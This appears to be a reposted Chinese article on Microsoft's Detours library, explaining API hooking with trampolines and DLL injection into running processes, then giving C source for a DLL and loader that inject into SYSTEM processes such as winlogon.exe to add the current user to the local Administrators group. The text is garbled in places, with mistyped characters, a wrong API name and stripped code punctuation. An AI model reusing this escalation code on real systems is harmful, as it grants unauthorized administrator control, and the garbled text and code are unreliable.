1、看雪detour好东西,用DETOURS库获取NT治理员权限陈志敏-免费取得),用于修改运行中的程序在内存中的影像,从而即便没有源代码也能改变程序的行为。具体用途是:拦截WIN32API挪用,将其引导到自己的子程序,从而实现WIN32API的定制。为一个已在运行的进程创建一新线程,装入自己的代码并运行。-本文将简介Detours的原理,Detours库函数的用法,并利用Detours库函数在WindowsNT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统治理员,附录利用Detours库函数修改该程序使一般用户即可成为系统治理员(在NT4SP3上)。一Detours的原理-1
2、WIN32进程的内存治理-总所周知,WINDOWSNT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间,关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32API手册,以下仅指出与Detours相关的几点:-(1)进程要执行的指令也放在虚存空间中-(2)能够利用QueryProtectEx函数把寄存指令的页面的权限更改成可读可写可执行,再改写其内容,从而修更正在运行的程序-(3)能够利用VirtualAllocEx从一个进程为另一正运行的进程分派虚存,再利用QueryProtectEx函数把页面的权限更改成可读可写可执行,并把要执行的指令以二进制机械码的形式写入,从而为一个正
3、在运行的进程注入任意的代码-2拦截WIN32API的原理-Detours概念了三个概念:-(1)Target函数:要拦截的函数,一样为Windows的API。-(2)Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,因此先把Target函数复制保留好,一方面仍然保留Target函数的进程挪用语义,另一方面便于以后的恢复。-(3)Detour函数:用来替代Target函数的函数。-Detours在Target函数的开头加入JMPAddress_of_Detour_Function指令(共5个字节)把对Target函数的挪用引导到自己的Detour函数
4、,把Target函数的开头的5个字节加上JMPAddress_of_Target_Function+5作为Trampoline函数。例子如下:拦截前:Target_Function:;Target函数入口,以下为假想的常见的子程序入口代码pushebpmovebp,esppusheaxpushebxTrampoline:;以下是Target函数的继续部份拦截后:Target_Function:jmpDetour_FunctionTrampoline:;以下是Target函数的继续部份Trampoline_Function:;Trampoline函数入口,开头的5个字节与Target函数相同pu
5、shebpmovebp,esppusheaxpushebx;跳归去继续执行Target函数jmpTarget_Function+5-3为一个已在运行的进程装入一个DLL-以下是其步骤:-(1)创建一个ThreadFuction,内容仅是挪用LoadLibrary。-(2)用VirtualAllocEx为一个已在运行的进程分派一片虚存,并把权限更改成可读可写可执行。-(3)把ThreadFuction的二进制机械码写入这片虚存。-(4)用CreateRemoteThread在该进程上创建一个线程,传入前面分派的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllM
6、ain即可在一个已在运行的进程中运行自己的代码。二Detours库函数的用法-因为Detours软件包并无附带帮忙文件,以下接口仅从剖析源代码得出。-1PBYTEWINAPIDetourFindFunction(PCHARpszModule,PCHARpszFunction)-功能:从一DLL中找出一函数的入口地址-参数:pszModule是DLL名,pszFunction是函数名。-返回:名为pszModule的DLL的名为pszFunction的函数的入口地址-说明:DetourFindFunction除利用GetProcAddress外,还直接分析DLL的文件头,因此能够找到一些GetP
7、rocAddress找不到的函数入口。-2DETOUR_TRAMPOLINE(trampoline_prototype,target_name)-功能:该宏把名为target_name的Target函数生成Trampoline函数,以后挪用trampoline_prototype在语义上等于挪用Target函数。-3BOOLWINAPIDetourFunctionWithTrampoline(PBYTEpbTrampoline,BYTEpbDetour)-功能:用Detour函数拦截Target函数-参数:pbTrampoline是DETOUR_TRAMPOLINE取得的trampoline_
8、prototype,pbDetour是Detour函数的入口地址。-4BOOLWINAPIDetourRemoveWithTrampoline(PBYTEpbTrampoline,PBYTEpbDetour)-功能:恢复Target函数-参数:pbTrampoline是DETOUR_TRAMPOLINE取得的trampoline_prototype,pbDetour是Detour函数的入口地址。-5BOOLWINAPIContinueProcessWithDll(HANDLEhProcess,LPCSTRlpDllName)-功能:为一个已在运行的进程装入一个DLL-参数:hProcess是进
9、程的句柄,lpDllName是要装入的DLL名三程序实例-以一个能使有“调试程序”的用户权限的用户成为系统治理员的程序做例子说明Detours库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe,rpcss.exe,winlogon.exe,service.exe等,利用ContinueProcessWithDll在其中注入把当前用户加入到Administrators本地组的DLL,因为该DLL在这些进程的平安上下文环境运行,因此有相应的权限。-先编写相应的DLL:/*admin.dll,当进程装入时会把名为szAccountName的用户加入到Admin
10、istrators本地组。*/#include#include#include#include/*以下创建一共享段实现进程间的数据通信,szAccountName是用户名,bPrepared说明szAccountName是不是已初始化。*/#pragmadata_seg(.MYSHARE)BOOLbPrepared=FALSE;wchar_tszAccountName100=0;#pragmadata_seg()#pragmacomment(linker,/SECTION:.MYSHARE,RWS)/*程序挪用SetAccountName设置要加入到Administrators本地组的用户名,
11、并通知DllMain已初始化szAccountName,以后被装入时可挪用ElevatePriv*/_declspec(dllexport)VOIDWINAPISetAccountName(wchar_t*Name)wcscpy(szAccountName,Name);bPrepared=TRUE;/*把名为szAccountName的用户加入到Administrators本地组*/_declspec(dllexport)VOIDWINAPIElevatePriv()LOCALGROUP_MEMBERS_INFO_3account;account.lgrmi3_domainandname=sz
12、AccountName;NetLocalGroupAddMembers(NULL,LAdministrators,3,(LPBYTE)&account,1);_declspec(dllexport)ULONGWINAPIDllMain(HINSTANCEhInstance,DWORDdwReason,PVOIDlpReserved)switch(dwReason)caseDLL_THREAD_ATTACH:if(bPrepared)ElevatePriv();returnTRUE;程序如下:把当前用户加入到Administrators本地组。利用方式为:(1)-procid,其中procid为
13、(1)记下的进程ID(3)签退再签到,运行用户治理器,即可发觉自己已在Administrators本地组中。*/#include#include#include#include#includeexternVOIDWINAPISetAccountName(wchar_t*Name);/*GetCurrentUser取得自己的用户名称*/voidGetCurrentUser(wchar_t*szName)HANDLEhProcess,hAccessToken;wchar_tInfoBuffer1000,szAccountName200,szDomainName200;PTOKEN_USERpTok
14、enUser=(PTOKEN_USER)InfoBuffer;DWORDdwInfoBufferSize,dwAccountSize=200,dwDomainSize=200;SID_NAME_USEsnu;hProcess=GetCurrentProcess();OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,1000,&dwInfoBufferSize);LookupAccountSid(NULL,pTokenUser-User
15、.Sid,szAccountName,&dwAccountSize,szDomainName,&dwDomainSize,&snu);wcscpy(szName,szDomainName);wcscat(szName,L);wcscat(szName,szAccountName);/*EnablePrivilege启用自己的“调试程序”的用户权限*/BOOLEnablePrivilege(LPCTSTRszPrivName,BOOLfEnable)HANDLEhToken;if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILE
16、GES,&hToken)returnFALSE;TOKEN_PRIVILEGEStp;=1;LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges0.Luid);tp.Privileges0.Attributes=fEnable?SE_PRIVILEGE_ENABLED:0;AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);return(GetLastError()=ERROR_SUCCESS);intWINAPIWinMain(HINSTANCEhinst,HINSTANC
17、Ehprev,LPSTRlpszCmdLine,intnCmdShow)INTargc;WCHAR*argv;argv=CommandLineToArgvW(GetCommandLineW(),&argc);INTnProcessId=-1;if(argc!=2)wprintf(Lusage%spid,argv0);return1;nProcessId=_wtoi(argv1);printf(%d,nProcessId);-/*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本
18、进程有如此的权利。*/if(!EnablePrivilege(SE_DEBUG_NAME,TRUE)printf(AdjustTokenPrivilegeFail%u,(UINT)GetLastError();return1;HANDLEgNewHandle=OpenProcess(PROCESS_ALL_ACCESS,TRUE,nProcessId);if(!gNewHandle)printf(OpenProcessFail%u,(UINT)GetLastError();return1;wchar_tszName100;GetCurrentUser(szName);SetAccountName(szName);If(!ContinueProcessWithDll(gNewHandle,Lc:tempadmin.dll)printf(ContinueProcessWithDllfailed%u,(UINT)GetLastError();return3;return0;-因为“调试程序”的用户权限缺省情形下仅给予给治理员,因此并非会造成平安漏洞。但该程序揭露出“调试程序”的用户权限实际上是至高无上的用户权限,只能授予给可信誉户。四结论-Detours是一壮大的工具,提供了简单易用的函数接口来拦截WIN32API挪用和为一个已在运行的进程装入一个DLL。
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1